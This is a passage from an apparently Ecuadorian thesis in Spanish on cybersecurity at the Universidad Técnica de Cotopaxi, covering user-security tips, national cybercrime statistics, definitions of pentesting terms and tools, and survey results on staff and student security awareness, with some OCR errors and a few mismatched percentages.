acceder a cuentas bancarias o informacion confidencial ya que puede estar en peligro.

Unicamente utiliza para tareas sencillas tal y como revisar algin mensaje o correo electrénico.

Otra de las recomendaciones es el uso de contrasefias blindadas. Puesto que, si la extension de
la contrasefia es corta o se utiliza una Unica para todos los dispositivos, debe estar alerta. La
recomendacion es que, una contrasefia segura debe tener al menos ocho caracteres, es
importante que contenga mayusculas, minusculas, ndmeros y signos especiales como el signo
de #. Ademas, recomiendan que las contrasefias deben de ser modificadas al menos cada 6

Meses.

Pese a esto, el 85% de los ataques informéaticos ocurren por descuido o imprudencias del
usuario. De acuerdo con un reportaje publicado por diario El Telégrafo (El Telégrafo, 2016),
desde enero hasta mayo del 2016, se recibieron 530 denuncias por delitos informaticos de las
cuales, aproximadamente el 70% de ellas, es decir 368 denuncias son debido al delito de
“apropiacion fraudulenta por medios electronicos”. En Guayas hubo 18 casos; Pichincha, 145;
Manabi, 24; El Oro, 22; en el resto de provincias se registrd una cantidad menor (Telegrafo,
2016).

Un estudio elaborado por la Policia Nacional, Interpol, el centro de respuesta a Incidentes
Informaticos de Ecuador (Ecucert), con el soporte de organismos similares de América
Latina, indica que el 85% de los ataques a los sistemas informaticos son causados por errores
de los consumidores, quienes no toman precauciones al acceder a las redes sociales, utilizar el
correo electronico, y en el uso de usuario y contrasefia. Las tacticas mas comunes son los
premios que se promocionan sin razdn aparente, como Viajes, loterias, boletos para
Disneylandia, etc. advierte el experto. Una de las opciones tematicas de estafas que va en
aumento en los Ultimos afios son los videos sexuales de celebridades (Expreso, Ecuador
Inmediato, 2017).
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El 58% de personas deja sus teléfonos moviles que contienen informacion sensible, en sus
vehiculos o lugares de trabajo; el 60% utiliza la misma contrasefia en dispositivos laborales y
personales. El 35% ha hecho clics en correos recibidos por emisores desconocidos; el 59%
almacena informacion de trabajo en la nube; y el 80% de amenazas en las redes sociales juega
con la curiosidad de los usuarios que quieren saber quién o quiénes ven su perfil, anota el
capitin Edgar Toapanta, oficial de Seguridad de la Informacion de la Policia (Expreso,

Delitos Informaticos, 2011).

Tabla 3: Técnicas de ataque mas utilizadas

INDICE DE
TECNICA DE ATAQUE EVENTUALIDAD

Ataques de fuerza bruta (Debilidad de contrasefias)

60%
Descuido de dispositivos (Dispositivos
desbloqueados) 58%
Ingenieria social (Observacion de comportamiento
del usuario) 80%
Phishing (Emails, mensajes o perfiles de
suplantacion de identidad) 35%
Sitios web falsos (Registro de credenciales a sitios
webs falsos) 2%

Fuente: Ecuador, el cuarto pais de la regiéon que recibe mas ataques cibernéticos (Doctor Tecno, 2015)
Elaborado por: Los autores

“La mvestigacion de los delitos mformaticos necesariamente estd revestida de un
procedimiento técnico, como interceptacion de comunicaciones, peritajes para establecer
direcciones IP, para extraer informacién de memorias portatiles, para lo cual se requiere la
participacion de expertos en la materia”, afirma el fiscal Wilson Toainga. La banca, comercio
y entidades del Estado, entre otros sectores, recurren a los medios electronicos para realizar su
facturacion como una manera de mejorar Sus servicios y optimizar sus operaciones, lo que

genera grandes oportunidades de crecimiento para Ecuador, sefiala Kerench Rodriguez,
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gerente de la empresa informatica D-Link. Pero esa situacion también ha provocado riesgos,
manifiesta el experto, ya que esa informacion sensible, si no cuenta con medidas de
proteccion, puede quedar expuesta a los “intrusos informaticos”, y llevar a mas fraudes y robo

de datos financieros para las empresas (Telegrafo, 2016).

Gréfico N° 3 Técnicas de ataques mas utilizadas
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Fuente: Ecuador, el cuarto pais que recibe mas ataques cibernéticos
Elaborado: Los autores

8.9. Laboratorios de seguridad informatica

De acuerdo con iHackLabs, empresa de seguridad informatica Londinense fundada en el
2016, la utilizacién de laboratorios de seguridad informatica ayuda a que un especialista de
seguridad o una empresa como tal, esté preparada ante eventuales ataques. Esto, teniendo en
cuenta que, muchas veces solo se tiene una practica de técnicas de defensa cuando ocurre un
incidente 0 se evidencia el riesgo ante una vulnerabilidad encontrada por aun ataque. Por lo
que, esta forma de ganar experiencia puede incurrir en grandes pérdidas para la compafiia u
organizacion. Por lo que, resulta importante tener un entorno adecuado en el que se puedan
realizar constantes pruebas de wulnerabilidad a la infraestructura tecnoldgica de la empresa
(HackLabs, 2018).

Por otro lado, este tipo de implementaciones sirven no solo para la aplicacion de técnicas de
ataque y defensa sino también para la docencia. Es el caso del estudio realizado por Pagola et
al. (2006), en el que se implementd un laboratorio de seguridad informatica con herramientas
de cddigo abierto simulando un entorno de red real. En dicha implementacion se simuld en un
entorno de red utilizado por unos de los laboratorios de la facultad de Ingenieria de la

Universidad de La Plata, montando cuatro equipos virtuales de los cuales tres operaban bajo
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subredes diferentes mientras que el cuarto utilizaba un sistema operativo Linux para realizar

pruebas de penetracion a través de comandos via terminal (iHackLabs, 2018)

Gréafico N° 4 infraestructura basicade un laboratorio
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Fuente: Datos de la investigacion
Elaborado por: Los autores

En este punto se puede observar el esquema bésico de un laboratorio de seguridad
informéatico, puesto que la idea principal, es como se lo ha mencionado previamente, simular
un entorno de red real junto con los servicios o recursos que se utilicen. De esta manera, se
podria llevar a cabo todo tipo de comandos o pruebas de wulnerabilidad, necesarias para

violentar la seguridad de dicha red o de los servicios (iHackLabs, 2018).

Gréfico N° 5 Arquitecturabdsica de un laboratorio virtualizado

Fuente: Datos de la investigacion
Elaborado por: Los autores

8.10. Definiciones conceptuales

Es fundamental tener claro ciertos conceptos a los que se haran referencia a lo largo de la
investigacion como, pentesting, exploits, metasploits, entre otros. De esta manera se obtendra
una mejor comprension del trabajo realizado (iHackLabs, 2018).

8.10.1. Pentesting

En la rama de la seguridad informatica surge el termino en inglés denominado “pentesting”
que en una hipotética traduccion al espafiol seria “test de penetracion”, estas pruebas no son

mas que un conjunto de précticas, técnicas o ejercicios que se realizan a nivel tecnoldgico
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debidamente aprobado por la entidad encargada de los servicios informéticos, para un andlisis
de las wulnerabilidades que podrian encontrarse dentro de una red corporativa o dentro de

algin servicio tecnoldgico.

En esencia las técnicas de pentesting consisten en aplicar diversos métodos de ataque, de
manera que se pueda explotar todas las brechas de seguridad que se denominan
wulnerabilidades. Logrando esto se podran definir las correcciones necesarias y los métodos
de prevencion a futuro para evitar nuevas wulnerabilidades. Esto se puede realizar tanto
mediante la utilizacion de ambientes simulados dentro de una organizacion, asi como
también, desde un enfoque “ataque esperado” para determinar no solo las wvulnerabilidades

internas sino externas (Gonzéles, 2014)

8.10.2. Exploits

La palabra “exploit” es un término de descendencia inglesa el cual hace referencia a explotar
0 aprovechar exclusivamente los fallos o wulnerabilidades de un sistema informéatico esto de
forma conceptual, sin embargo, desde un punto de vista técnico se lo podria catalogar como
cualquier tipo de ejecutable o script que contiene comandos el cual tratard de wulnerar al
maximo las seguridades de cualquier hardware o servicio tecnoldgico consiguiendo asi que
tome un comportamiento distinto al adecuado permitiendo el acceso no autorizado o el robo

de algun tipo de informacion.

Como lo indica Josep Albors en su blog tecnologico, “Las definiciones habituales hablan de
un programa 0 cOdigo que se aprovecha de un agujero de seguridad en una aplicacion o

sistema, de forma que un atacante podria usarla en su beneficio.” (Oppleman, 2006).

8.10.3. Metasploit

Nombre del programa o framework de cddigo abierto que permite la realizacion de
ejecutables, scripts o comandos para la evaluacion de wulnerabilidades. Este aplicativo viene
ya instalado en la distribucion de Kali, dado que sigue la politica Kali Linux Network Service
Policy no tiene habilitado los servicios de red, asi como tampoco servicios de base de datos
por lo tanto hay que realizar algunas configuraciones extras para poder hacer el uso correcto
de este aplicativo que es de mucha ayuda para el hacker (Wilhelm, 2010).
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8.10.4. Pentester

Se conoce como pentester a la persona con el conocimiento necesario debidamente certificada
que posee la capacidad para realizar pruebas de penetracion y wvulnerabilidades en un entorno

informatico (Oppleman, 2006).

8.10.5. Target

En su traduccion al espafiol su significado es “objetivo” por lo tanto en informatica se hace

referencia al objetivo o al dispositivo informatico al cual se va a escanear (Wilhelm, 2010).
8.10.6. Host

Se define como un host o anfitrion a todo equipo informético u ordenador que se toma como
punto de inicio y fin en la transferencia de datos. Un host es todo dispositivo que cuenta con
salida a internet y que cuenta con una direccion IP (Wilhelm, 2010).

8.10.7. Virtualizacion

Es la creacidon ldgica de un servicio o hardware por medio de la utilizacién de un software. El
cual permitird la abstraccion de los recursos de una computadora por medio de un programa
(Gomez, 2009).

8.10.8. Nmap

Software de codigo abierto que sirve para el escaneo y recopilacion de informacion de
sistemas informaticos, asi como el rastreo de puertos e identificacion de servicios (Lyor,
2009).

8.10.9. Kali

Sistema operativo de codigo abierto basado en Debian GNU/Linux disefiado principalmente

para las ramas de auditoria informatica y seguridad informatica (Caballero, 2018).
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8.10.10. Seguridad informatica

Rama de la informética que se encarga de proteger la infraestructura tecnoldgica y todo lo

relacionado con ella.

8.10.11. VMware

Software de uso mediante licencia que permite la creacidén de recursos tecnoldgicos de forma
virtualizada con la posibilidad de administrarlos de forma local o de forma remota (Gomez,
2009).

8.10.12. Terminal

Es una Interfaz que permite gestionar o administrar y acceder sistemas informaticos sin
necesidad de una interfaz gréafica a través de lineas de comandos en texto plano. Este tipo de
interfaces es comin en sistemas Linux o Unix y es conocida como “Terminal”, sin embargo,

en sistemas de Microsoft es conocido como “CMD” que quiere decir “Comando”.

8.10.13. SSH

Es un protocolo de red que permite el acceso a servidores de privados a través de la interfaz
terminal o cmd, de forma segura y Unicamente mediante linea de comandos, es decir no se

hace uso de una interfaz gréfica.

8.10.14. Riesgo

De manera general el riesgo es el nivel o la probabilidad de que se produzca un incidente, y
esto afecte a alguien o algo en especifico. Trasladando este concepto al entorno de la
informéatica, seria todo tipo de brecha de seguridad que podria utilizarse en contra de la

empresa.
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9. VALIDACION DE LAS PREGUNTAS CIENTIFICAS O HIPOTESIS

9.1. HIPOTESIS

Con el andlisis de la ciberseguridad a la infraestructura tecnologica de la UNIVERSIDAD
TECNICA DE COTOPAXI, utilizando el sistema operativo Kali Linux, virtualizado en una
maquina fisica se podra disminuir los riesgos existentes a sus sistemas informaticos.

10. METODOLOGIA Y DISENO ESPERIMENTAL

10.1. Tipos de investigacion

10.1.1. Investigacion bibliografica

La investigacion bibliografica es aquella etapa de la investigacion cientifica donde se explora
qué se ha escrito en la comunidad cientifica sobre un determinado tema o problema,
constituye una excelente introduccion a todos los otros tipos de investigacion.

Este tipo de investigacion se utilizara para conocer antecedentes, versiones, caracteristicas,

ventajas, desventajas y demas aspectos que sean necesarios establecer a cerca de las

vulnerabilidades que existen en el pais.

10.1.2. Investigacion de campo

La investigacion de campo es el proceso que, utilizando el método cientifico, permite obtener
nuevos conocimientos en el campo de la realidad social o bien estudiar una situacion para
diagnosticar necesidades y problemas a efectos de aplicar los conocimientos con fines

practicos.

Se realizara mediante visitas a la Universidad Técnica de Cotopaxi, que es donde se realizara

el analisis para verificar posibles wvulnerabilidades.
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10.1.3. Investigacion experimental

La investigacion experimental consiste en la manipulacion de una variable experimental no
comprobada, en condiciones rigurosamente controladas, con el fin de describir de qué modo o

por qué causa se produce una situacion o acontecimiento en particular.

Se utilizard la investigacion experimental para comprobar las posibles brechas de seguridad y

administracion de los servidores.

10.2. Métodos de Investigacion

10.2.1. Método Hipotético-Deductivo

Es el procedimiento o camino que sigue el investigador para hacer de su actividad una
practica cientifica. Por lo que es necesario utilizar este método en el proyecto ya que partimos
de una hipdtesis la misma que después serda comprobada experimentalmente en base a la
realidad.

10.2.2. Encuesta

“Es el procedimiento que consiste en preguntar, con ayuda o no de un cuestionario, a un buen

numero de personas sobre un tema determinado para averiguar la opmion dominante”.

Esta técnica de investigacion se aplicard a los ya que es necesario obtener la opinion de cada

una de las personas que conforman en desarrollo de la institucion.

10.2.3. Entrevista

“Es una técnica para obtener datos que consiste en un didlogo entre dos personas: el
entrevistador (investigador) y el entrevistado; se realiza con el fin de obtener informacion de

parte de este, que es por lo general, una persona entendida en a materia de la investigacion”.

Esta técnica se aplicard al Jefe de servicio informaticos de la universidad y Técnica de

Cotopaxi.
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11.  ANALISIS Y DISCUSION DE LOS RESULTADOS

PONDERACIONES DE VALIDACION DE LA PROPUESTA

Para la validacién de la investigacion se optd por el criterio de la investigacion de campo a
través del método de encuestas realizadas a los Estudiantes y Profesionales de la Carrera Ing.
en Sistemas Computacionales de la Universidad Técnica de Cotopaxi, en el periodo Marzo —

Agosto del 2019, esto con la finalidad de evaluar conocimiento sobre la ciberseguridad.

En cuanto al desarrollo de las preguntas realizadas para las encuestas fue avalado por el Ing.
Mg. Manuel Villa quien actualmente ocupa el cargo de Docente de Seguridad Informética en
la Universidad Técnica de Cotopaxi. De esta manera, gracias a sus afios de experiencia en el
area de seguridad informatica; formd parte del equipo de investigacion el mismo que
aportando con sus conocimientos. De manera que, queda certificado que todo el proceso que
se ejecutd bajo los estandares y normativas de seguridad bajo las politicas de seguridad

interna de la institucion.

Por lo tanto, gracias a las encuestas realizadas a los estudiantes y profesionales de la
Universidad Técnica de Cotopaxi. Nos permiti6 evaluar el conocimiento de los docentes,
alumnos y profesionales del &rea tecnoldgica sobre la ciberseguridad.

Por ello se toma de un valor total de 500 personas entre alumnos, docentes y personal

administrativo del area tecnoldgica.

Se toma como objetivo la muestra mediante la formula de poblacion finita:

Para calcular el tamafio de la muestra se utiliza la siguiente formula:
n=(Z"2.n.p.q)/(e"2.(N-1)+ [(Z] "*2.n.p.q))

Donde:

z= al nivel de confianza (tomado de la tabla de valores de confianza)

p= porcentaje de la poblacién que tiene el atributo deseado

g= porcentaje de la poblacion que no tiene el atributo deseado

N=tamafio del universo

e= error maximo de estimacion aceptado

n= tamafo de la muestra
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TABLA DE VALORES DE CONFIANZA PARA LA ELABORACION DE LAS
ENCUESTAS

Tabla 4: Valores de confianza

PORCENTAJES DE VALOR
CONFIANZA
95 1.96
90 1.65
91 1.7
92 1.76
93 1.81
94 1.89

Fuente: Los autores

Del célculo realizado aplicando la formula de la muestra se obtuvo como resultado un dato de

217 encuestas a realizar

PROCESO DEL ANALISIS

Una vez realizado el tamafio de la muestra se realiza la encuesta a docentes, alumnos y
personal administrativo del departamento de tecnologia de la Universidad Técnica de
Cotopaxi, con el objetivo principal de obtener la mayor evidencia posible sobre la
ciberseguridad de la instituciébn. A continuacion, se muestran los resultados, por preguntas,
obtenidos una vez realizadas las encuestas y tabulados los datos mediante un software de

procesamiento de datos.

AREA DE LOS ENCUESTADOS

Tabla 5: Area de los encuestados

Opciones Respuestas

Profesionales 83

Estudiantes 134
TOTAL 217

Fuente: Los autores
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ENCUESTA PROFESIONALES

1. ¢Conoce usted que es la ciberseguridad?

Tabla 6:Ciberseguridad

ALTERNATIVAS | FRECUENCIA | PROMEDIO
Si 75 90%
No 8 10%
Total 83 100%

Fuente: Los autores

Gréfico N° 6 Ciberseguridad

Encuesta Profesionales

mSi ®mNo

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 6 nos demuestra de un total 83, profesionales y
pre profesionales de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 90% que
corresponde a 75 personas encuestadas, detallan que, si conocen sobre la ciberseguridad, y el
10% que corresponde a 8 personas mencionan que no tiene conocimientos sobre la

ciberseguridad.

CONCLUSION: De acuerdo a los datos obtenidos se puede determinar que el personal
docente y administrativo si dispone de los conocimientos sobre lo que es la ciberseguridad.
Por lo que se recomienda que se siga impartiendo charlas sobre el tema ya que eso ayudara a

estar prevenidos a posibles ataques cibernéticos.
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2. ¢Cual essunivel educativo?

Tabla 7: Nivel educativo

ALTERNATIVAS | FRECUENCIA | PROMEDIO
Tercer Nivel 61 74%
Maestrias 16 19%
Doctorado 4 5%
Diplomado 2 2%
Total 83 100%

Fuente: Los autores

Gréfico N° 7 Nivel educativo

Encuesta Profesionales
Doctorado Diplomado
5% 2%

Maestrias
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Terce Nivel
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= Terce Nivel ~ ® Maestrias Doctorado Diplomado

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 7 nos demuestra de un total 83, profesionales y
pre profesionales de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 74% que
corresponde a 61 personas encuestadas mencionan que tienen un titulo de tercer nivel, y el
19% que corresponde a 16 personas encuestadas tienen un titulo de posgrado, y el 5% que
corresponde a 4 personas encuestadas disponen de un doctorado, y el 2% que corresponde a 2

personas tienen un diplomado.

CONCLUSION: Podemos mencionar que el resultado mas alto obtenido, son docentes y
personal administrativo que constan con un titulo de cuarto nivel. Por lo que se recomienda
que al resto de personal que no consta con un titulo de cuarto nivel se le de las ventajas para
que se prepare y obtenga un titulo de cuarto nivel ya que eso ayuda al desarrollo de la

institucion.
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3. ¢ Tiene usted conocimiento sobre la Ciberseguridad?

Tabla 8: Ciberseguridad

ALTERNATIVAS FRECUENCIA |PROMEDIO
Poco 58 70%
Mucho 15 18%
Nada 10 12%
Total 83 100%

Fuente: Los Autores

Gréfico N° 8 conocimientos

Encuesta Profesionales

Nada
12%

Mucho
18%

Poco
70%

= Poco ® Mucho Nada

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 8 nos demuestra de un total 83, profesionales y
pre profesionales de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 70% que
corresponde a 58 personas tienen poco conocimiento sobre la ciberseguridad y el 18% que
corresponde a 15 personas encuestas tienen mucho conocimiento sobre la ciberseguridad y el
12% que corresponde a 10 encuestados no tiene nada de conocimiento sobre la

ciberseguridad.

CONCLUSION: En los resultados se evidencian que el mayor porcentaje de los encuestados
no dispone de conocimientos sobre la ciberseguridad. Por lo que se deberia realizar méas

actividades que fortalezca los conocimientos sobre la ciberseguridad.
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¢ Sabe usted que es Kali Linux?

Tabla 9: Kali Linux

ALTERNATIVAS | FRECUENCIA |PROMEDIO
Si 65 78%
No 18 22%
Total 83 100%

Fuente: los autores

Gréfico N° 9 Kali Linux

Encuesta Profesionales

ESi mNo

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 9 nos demuestra de un total 83, profesionales y
pre profesionales de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 78% que
corresponde a 65 personas encuestadas mencionan que, si conocen sobre que es Kali Linux, y
el 22% que corresponde a 18 personas no tiene conocimientos sobre lo que es Kali Linux.

CONCLUSION: Podemos mencionar que el resultado més alto obtenido por parte de los
profesionales se detalla que tienen un solido conocimiento sobre lo que es Kali Linux, no

obstante, los estudiantes, por lo que se recomienda que fortalezca mas sobre el S.O. Linux.
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5. ¢Sabe usted qué tipo de Linux es Kali?

Tabla 10: Que tipo de Linux es Kali

ALTERNATIVAS | FRECUENCIA [PROMEDIO
Si 30 36%
No 53 64%
Total 83 100%

Fuente: Los autores

Grafico N° 10: Que tipo de Linux es Kali

Encuesta Profesionales

HSi ®mNo

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 10 nos demuestra de un total 83, profesionales y
pre profesionales de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 64% que
corresponde a 53 encuestados indican que si tiene conocimiento sobre qué tipos de Kali es

Linux y el 64% que corresponde a 53 encuestados no tiene el conocimiento.

CONCLUSION: Como se puede observar a través de los resultados obtenidos mediante esta
pregunta un gran porcentaje de encuestados no tiene el conocimiento de que tipo de Linux es

Kali, por lo que se recomendaria que se investigue mas sobre los S.O basados en Linux.
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6.  ¢Sabe usted cual es la funcién que cumple Metasploit Framework en Kali Linux?

Tabla 11: Metasploit Framework en Kali Linux

ALTERNATIVAS | FRECUENCIA | PROMEDIO
Si 26 31%
No 57 69%
Total 83 100%

Fuente: Los autores

Gréfico N° 11: Metasploit Framework

Encuesta Profesionales

mSi mNo

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 11 nos demuestra de un total 83, profesionales y
pre profesionales de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 31%
corresponde a 26 encuestados los cuales mencionan que, si conocen sobre la funcion que

cumple el Metasploit, y el 69% que corresponde a 57 encuestados no tiene el conocimiento

sobre Metasplott.

CONCLUSION: De acuerdo a los datos obtenidos de la encuesta se llega a la conclusion de
que la mayor parte de profesionales no tiene el conocimiento sobre la funcion que cumple el
Metasploit Framework. Por lo que se recomendaria se fomente cursos sobre dichas

herramientas que permite visualizar las vulnerabilidades de sistemas informaticos.



7. ¢Cuanto conoce usted sobre ataques phishing?

Tabla 12: Ataques phishing
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ALTERNATIVAS | FRECUENCIA PROMEDIO
Poco 60 2%
Mucho 15 18%
Nada 8 10%
Total 83 100%

Fuente: Los autores

Grafico N° 12 Ataques phishing
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Fuente: Los autores

INTERPRETACION: Los datos de la tabla 12 nos demuestra de un total 83, profesionales y

pre profesionales de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 72% que

corresponde a 60 personas tienen poco conocimiento sobre ataques phishing y el 18% que

corresponde a 15 personas encuestadas. Tienen mucho conocimiento sobre los ataques

phishing y el 10% que corresponde a 8 encuestadas no conocimiento sobre la pregunta

planteada.

CONCLUSION: En base a datos obtenidos respecto a los ataques phishing, se puede

demostrar que el 72% de profesionales no considera la importancia de los ataques phishing

que pueden ser realizados a través de la web, permitiéndoles exponerse a posibles riesgos y

amenazas que se dan dia a dia.



Tabla 13: Protocolos de Se

uridad Informatica

¢ Sabe usted cuales son los protocolos de Seguridad Informatica?

ALTERNATIVAS |FRECUENCIA PROMEDIO
Si 73 88%
No 10 12%
Total 83 100%

Fuente: Los autores

Gréfico N° 13 Protocolos de seguridad informatica

ESi mNo

Encuesta Profesionales

Fuente: Los autores

INTERPRETACION: Lo datos de la tabla 13 nos demuestra de un total 83, profesionales y
pre profesionales de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 88% que
corresponde a 20 encuestados mencionan que, si conocen sobre los protocolos a seguir en la
seguridad informatica, y el 12% que corresponde a 10 personas encuestadas indican que no

tiene conocimientos sobre la pregunta planteada.

CONCLUSION: De acuerdo a datos obtenidos, durante la encuesta nos da como resultado

que la mayor parte de profesionales dispone de conocimientos en cuanto a los protocolos de la

seguridad informética.
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9. ¢Esta usted informado acerca de las prevenciones que hay que tener para evitar el

acceso de un hacker u otra amenaza a un sistema Informatico?

Tabla 14:Prevenciones

ALTERNATIVAS | FRECUENCIA |PROMEDIO
Si 78 94%
No 5 6%
Total 83 100%

Fuente: Los autores

Grafico N° 14 : Prevenciones

Encuesta Profesionales

ESi mNo

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 14 nos demuestra de un total 83, profesionales y
pre profesionales de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 94% que
corresponde a 78 personas encuestadas conoce las prevenciones que se debe tener para evitar
acceso de un hacker al sistema informatico, y el 6% que corresponde a 5 personas no tiene

conocimientos sobre la pregunta planteada.

CONCLUSION: En base a los datos obtenidos se puede determinar que existen las
respectivas prevenciones para evitar posible acceso no autorizado a los sistemas informaticos.

Haciéndolos menos wvulnerables para el resto de personas.
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10. ¢Cree usted que los sistemas informéticos existentes en la Universidad Técnica de

Cotopaxi son seguros?

Tabla 15: Sistemas seguros

ALTERNATIVAS | FRECUENCIA | PROMEDIO
Si 22 27%
No 61 73%
Total 83 100%

Fuente: Los autores

Grafico N° 15 Sistemas seguros

Encuesta Profesionales

ESi ENo

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 15 nos demuestra de un total 83, profesionales y
pre profesionales de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 73% que
corresponde a 61 personas encuestadas mencionan que no confian en el sistema informatico

de la UTC, y el 27% que corresponde a 22 personas confian en sistema informatico de la

UTC.

CONCLUSION: De acuerdo a los datos obtenidos se puede visualizar que profesionales y
pre profesionales no confian en el sistema de la Universidad Técnica de Cotopaxi. Por lo que
se debe fortalecer el sistema de seguridad para obtener mayor confianza con los usuarios.
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11. ¢Conoce usted que es un Sistema de Prevencion (IDS)?

Tabla 16: Sistema de Prevencion

ALTERNATIVAS | FRECUENCIA |PROMEDIO
Si 38 46%
No 45 54%
Total 83 100%

Fuente: Los autores

Grafico N° 16 Sistemas de prevencion

Encuesta Profesionales

ESi ENo

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 16 nos demuestra de un total 83, profesionales y
pre profesionales de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 54% que
corresponde a 45 encuestados no tienen conocimientos sobre el sistema de IDS y el 46% que
corresponde a 38 personas encuestadas si disponen del conocimiento del sobre el sistema IDS.

CONCLUSION: En los resultados obtenidos se puede evidenciar que un cierto porcentaje de
profesionales y pre profesionales no disponen del conocimiento de la pregunta planteada, por
lo que se podria recomendar se implemente més libros, revistas y articulos cientificos sobre

los sistemas IDS, y poder obtener mas conocimientos sobre dicho tema.
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12. ¢ Tiene usted conocimiento sobre la herramienta SglMap en Kali Linux?

Tabla 17: Herramienta SglMap

ALTERNATIVAS | FRECUENCIA | PROMEDIO
Si 18 22%
No 65 78%
Total 83 100%

Fuente: Los autores

Gréfico N° 17 Herramienta SqlMap

Encuesta Profesionales

mSi mNo

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 17 nos demuestra de un total 83, profesionales y
pre profesionales de la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 78% que
corresponde a 65 no tienen conocimientos sobre el SqlMap en Kali Linux y el 22% que

corresponde a 18 personas encuestadas si disponen del conocimiento de SqlMap.

CONCLUSION: De acuerdo a los datos obtenidos se puede evidenciar que no existe el

conocimiento so la herramienta SqlMap dentro del S.O Kali Linux. Por lo que se recomienda

que sede mas informacion sobre el tema.
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ENCUESTAS ESTUDIANTES

1.  ¢Con que frecuencia usa usted el internet de la Universidad Técnica de Cotopaxi?

Tabla 18: Uso del internet

ALTERNATIVAS | FRECUENCIA |PROMEDIO
Poco 31 23%
Mucho 93 69%
Nada 10 7%
Total 134 100%

Fuente: Los autores

Grafico N° 18 Uso del internet
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Fuente: Los autores

INTERPRETACION: Los datos de la tabla 18 nos demuestra de un total 134, Estudiantes de
la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 23% que corresponde a 31
personas encuestadas, utilizan poco el internet de la UTC, y el 69% que corresponde a 93
personas encuestadas si utilizan el internet de la UTC, el 7% que corresponde a 10

encuestados no utilizan el servicio de internet de la institucion

CONCLUSION: Estos datos son de gran importancia para dar una idea mas clara de la
utilizacion de internet de la UTC por parte de los estudiantes, por lo tanto, se puede
determinar que la herramienta del internet es fundamental para desarrollo del estddiate en su

formacion.
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2. ¢Sabe usted que es un hacker?

Tabla 19: Que es un hacker

ALTERNATIVAS |FRECUENCIA |PROMEDIO
Si 98 73%
No 36 27%
Total 134 100%

Fuente: Los autores

Gréafico N° 19 Que es un hacker

Encuesta Estudiantes

ESi ENo

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 19 nos demuestra de un total 134, Estudiantes de
la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 73% que corresponde a 98
personas encuestadas tiene conocimiento sobre lo que es un hacker, y el 27% que corresponde

a 36 personas encuestadas no dispone del conocimiento de lo que es un hacker.

CONCLUSION: Se deberia considera necesario leer libros y articulos tecnologias para poder
tener conocimiento sobre lo que es un hacker, teniendo en cuenta que son personas gue

pueden robar datos informativos de un sistema.



3. ¢Qué navegador web utiliza normalmente?

Tabla 20: Navegadores web

ALTERNATIVAS FRECUENCIA | PROMEDIO
Opera 18 13%
Mozilla 10 7%

Internet Explore 6 4%
Google Chrome 100 75%
otros 0 0%
Total 134 100%

Fuente: Los autores

Gréfico N° 20 Navegadores web
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Fuente: Los autores
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INTERPRETACION: Los datos de la tabla 20 nos demuestra de un total 134, Estudiantes de

la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 13% que corresponde a 18

personas encuestadas utilizan el navegador opera, y el 7% que corresponde a 10 personas

encuestadas utiliza el navegador Mozilla, el 4% que corresponde a 6 personas utilizan el

navegador internet explore, el 75% que corresponde a 100 personas utiliza el navegador

Google Chrome

CONCLUSION: De acuerdo al dato obtenido se considera que el navegador mas utilizado

por parte de los estudiantes es Google Chrome, el cual lo toman como principal herramienta

de busqueda de informacion.
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4. ¢Tiene usted algun software antivirus instalado en su computado r?

Tabla 21: Antivirus

ALTERNATIVAS | FRECUENCIA | PROMEDIO
Si 96 72%
No 38 28%
Total 134 100%

Fuente: Los autores

Grafico N° 21 Antivirus

Encuesta Estudiantes

mSi mNo

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 21 nos demuestra de un total 134, Estudiantes de
la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 72% que corresponde a 96
personas encuestadas utilizan un antivirus en su computador y 28% que corresponde a 38

personas encuestadas no tiene instalado un antivirus en su computador.

CONCLUSION: De acuerdo a datos obtenidos los estudiantes de la UTC, no tiene
conocimientos sobre los antivirus, por lo que seria necesario difundir informacion acerca del
tema y todas las ventajas que brida la utilizacion de un Antivirus para su seguridad de su

computador.
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5. ¢Al navegar por la red wifi de la UTC considera que es seguro?

Tabla 22: Red wifi seguro
ALTERNATIVAS | FRECUENCIA | PROMEDIO

Si 39 29%
No 95 71%
Total 134 100%

Fuente: Los autores

Gréfico N° 22 Red wifi seguro

Encuesta Estudiantes

ESi ENo

Fuente: Los autores

INTERPRETACION: Los datos de la tabla 22 nos demuestra de un total 134, Estudiantes de
la Facultad de Ciencias de la Ingenieria y Aplicadas (CIYA), el 71% que corresponde a 95
personas encuestadas, consideran que no es seguro navegar por la red wifi de la UTC, y el
29% que corresponde a 39 personas confian en la red wifi de la institucion.

CONCLUSION: Podemos mencionar que el resultado més alto obtenido es la desconfianza
del uso de la red wifi, por lo que el estudiante no se siente seguro al navegar por dicha red.
Por tal razén se considera que se deberia impartir mas informacion sobre el tema de

seguridad.
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6. ¢Sabe ustedsila UTC ha sido blanco de algin ataque de cibernético?

Tabla 23: Ataque cibernético

ALTERNATIVAS | FRECUENCIA |PROMEDIO
Si 35 26%
No 99 74%
Total 134 100%

Fuente: Los autores

Gréfico N° 23 Ataque cibernético
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Fuente: Los autores

